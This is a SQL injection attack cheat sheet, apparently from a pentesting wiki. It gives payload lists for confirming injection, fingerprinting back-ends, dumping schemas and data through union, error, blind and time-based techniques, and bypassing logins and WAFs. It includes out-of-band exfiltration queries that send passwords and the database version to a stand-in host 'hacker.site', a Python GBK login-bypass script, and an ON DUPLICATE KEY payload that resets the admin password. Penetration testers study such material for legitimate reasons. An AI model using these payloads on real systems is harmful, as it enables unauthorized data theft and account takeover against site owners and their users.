SQL Injection

What is SQL injection?

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behaviour. In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. (From here).

In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions.

Entry point detection

You may have found a site that is apparently vulnerable to SQLi just because the server is behaving weird with SQLi related inputs. Therefore, the first thing you need to do is how to inject data in the query without breaking it. To do so you first need to find how to escape from the current context. These are some useful examples:


Then, you need to know how to fix the query so there isn't errors. In order to fix the query you can input data so the previous query accept the new data, or you can just input your data and add a comment symbol add the end.

Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy.


-- comment     [Note the space after the double dash]
/*! MYSQL Special SQL */





HQL does not support comments

Confirming with logical operations

One of the best ways to confirm a SQL injection is by making it operate a logical operation and having the expected results. For example: if the GET parameter ?username=Peter returns the same content as ?username=Peter' or '1'='1 then, you found a SQL injection.

Also you can apply this concept to mathematical operations. Example: If ?id=1 returns the same as ?id=2-1, SQLinjection.

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

This word-list was created to try to confirm SQLinjections in the proposed way:

Confirming with Timing

In some cases you won't notice any change on the page you are testing. Therefore, a good way to discover blind SQL injections is making the DB perform actions and will have an impact on the time the page need to load. Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

1' WAITFOR DELAY '0:0:10'



In some cases the sleep functions won't be allowed. Then, instead of using those functions you could make the query perform complex operations that will take several seconds. Examples of these techniques are going to be commented separately on each technology (if any).

Identifying Back-end

The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the sleep functions of the previous section or these ones:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],

Also, if you have access to the output of the query, you could make it print the version of the database.

A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.

Exploiting Union Based

Detecting number of columns

If you can see the output of the query this is the best way to exploit it. First of all, wee need to find out the number of columns the initial request is returning. This is because both queries must return the same number of columns. Two methods are typically used for this purpose:

Order/Group by

Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+    True


Select more and more null values until the query is correct:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

You should use nullvalues as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case.

Extract database names, table names and column names

On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

There is a different way to discover this data on every different database, but it's always the same methodology.

Exploiting Error based

If for some reason you cannot see the output of the query but you can see the error messages, you can make this error messages to ex-filtrate data from the database. Following a similar flow as in the Union Based exploitation you could manage to dump the DB.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploiting Blind SQLi

In this case you cannot see the results of the query or the errors, but you can distinguished when the query return a true or a false response because there are different contents on the page. In this case, you can abuse that behaviour to dump the database char by char:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

This is the same case as before but instead of distinguish between a true/false response from the query you can distinguish between an error in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

In this case there isn't any way to distinguish the response of the query based on the context of the page. But, you can make the page take longer to load if the guessed character is correct. We have already saw this technique in use before in order to confirm a SQLi vuln.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

You can use stacked queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oracle doesn't support stacked queries. MySQL, Microsoft and PostgreSQL support** them: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

If no-other exploitation method worked, you may try to make the database ex-filtrate the info to an external host controlled by you. For example, via DNS queries:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Out of band data exfiltration via XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automated Exploitation

Check the SQLMap Cheetsheat to exploit a SQLi vulnerability with sqlmap.

Tech specific info

We have already discussed all the ways to exploit a SQLinjection vulnerability. Find some more tricks database technology dependant in this book:

Or you will find a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

List to try to bypass the login functionality:

pageLogin bypass List

Authentication Bypass (Raw MD5)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Allowing an attacker to craft a string with a true statement such as ' or 'SOMETHING

md5("ffifdyop", true) = 'or'6�]��!r,��b�

Challenge demo available at http://web.jarvisoj.com:32772

Hash Authentication Bypass

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Recommended list:

You should use as username each line of the list and as password always: Pass1234. (This payloads are also included in the big list mentioned at the beginning of this section)

GBK Authentication Bypass

IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python script:

import requests
url = "http://example.com/index.php" 
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3') 
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} 
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) 
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

To do so you should try to create a new object named as the "master object" (probably admin in case of users) modifying something:

  • Create user named: AdMIn (uppercase & lowercase letters)

  • Create a user named: admin=

  • SQL Truncation Attack (when there is some kind of length limit in the username or email) --> Create user with name: admin [a lot of spaces] a

SQL Truncation Attack

If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: "admin [30 spaces] a" and any password.

The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: "admin [25 spaces]") and the it will automatically remove all the spaces at the end updating inside the database the user "admin" with the new password (some error could appear but it doesn't means that this hasn't worked).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

MySQL Insert time based checking

Add as much ','','' as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.



ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!

Extract information

Creating 2 accounts at the same time

When trying to create a new user and username, password and email are needed:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Using decimal or hexadecimal

With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything.

Using hex2dec and substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

To get the text you can use:


Using hex and replace (and substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. (Paper)


#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

No Space (%20) - bypass using whitespace alternatives


No Whitespace - bypass using comments


No Whitespace - bypass using parenthesis


No Comma - bypass using OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0

Blacklist using keywords - bypass using uppercase/lowercase

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist using keywords case insensitive - bypass using an equivalent operator

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

WAF bypass suggester tools

Brute-Force Detection List

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